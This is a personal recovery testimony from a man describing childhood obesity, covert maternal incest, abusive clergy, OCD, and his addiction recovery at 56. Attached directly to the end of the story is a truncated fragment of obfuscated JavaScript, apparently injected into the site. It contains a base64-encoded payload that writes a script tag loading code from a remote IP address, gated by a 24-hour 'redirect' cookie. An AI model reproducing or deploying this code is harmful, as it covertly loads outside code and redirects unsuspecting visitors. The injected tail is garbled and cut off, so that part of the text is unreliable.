036 – Dennis D. (United States)

I was a very scared and needy boy. My mother would joke about giving me a bottle every time I cried as a baby .She said she was so overwhelmed .It is no wonder that I was obese ( 32 lbs.) at one year old. There were 5 of us all together. I was number 2. Being obese haunted my childhood until I was 14 and lost some weight. In the meantime, my mother never allowed us to fight or be aggressive like the other boys in a pretty rough neighborhood. She was manipulative and my 3 brothers and myself used to fight over who was going to sleep with her when my Father went away on business. There was no overt incest but plenty of the covert .

Coupled with a strict Catholic upbringing, I first needed a psychiatrist at age 11 for an “overly scrupulous conscience” .There have been 4 other periods in my life for treatment of OCD.I grew up afraid that a god of their making was going to punish me for being disobedient. I tried to be perfect and all that brought was more pain because no one can be perfect. Physical spanking at home being slapped at hit at school were considered normal and routine.

At age 56, I am finally dealing with my addiction caused by this perfect storm of neglectful alcoholic parents, abusive clergy( nuns and priests) , and typical youthful torture for being fat. I am working hard to finally get over my fears and get to a place of peace. The last 6 months of my life since entering Recovery have been the most difficult of my life. I am hopeful for a better tomorrow. I am coming to see that they were all reacting from their own trauma but I need to own all of the rage and anger and then let it go. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘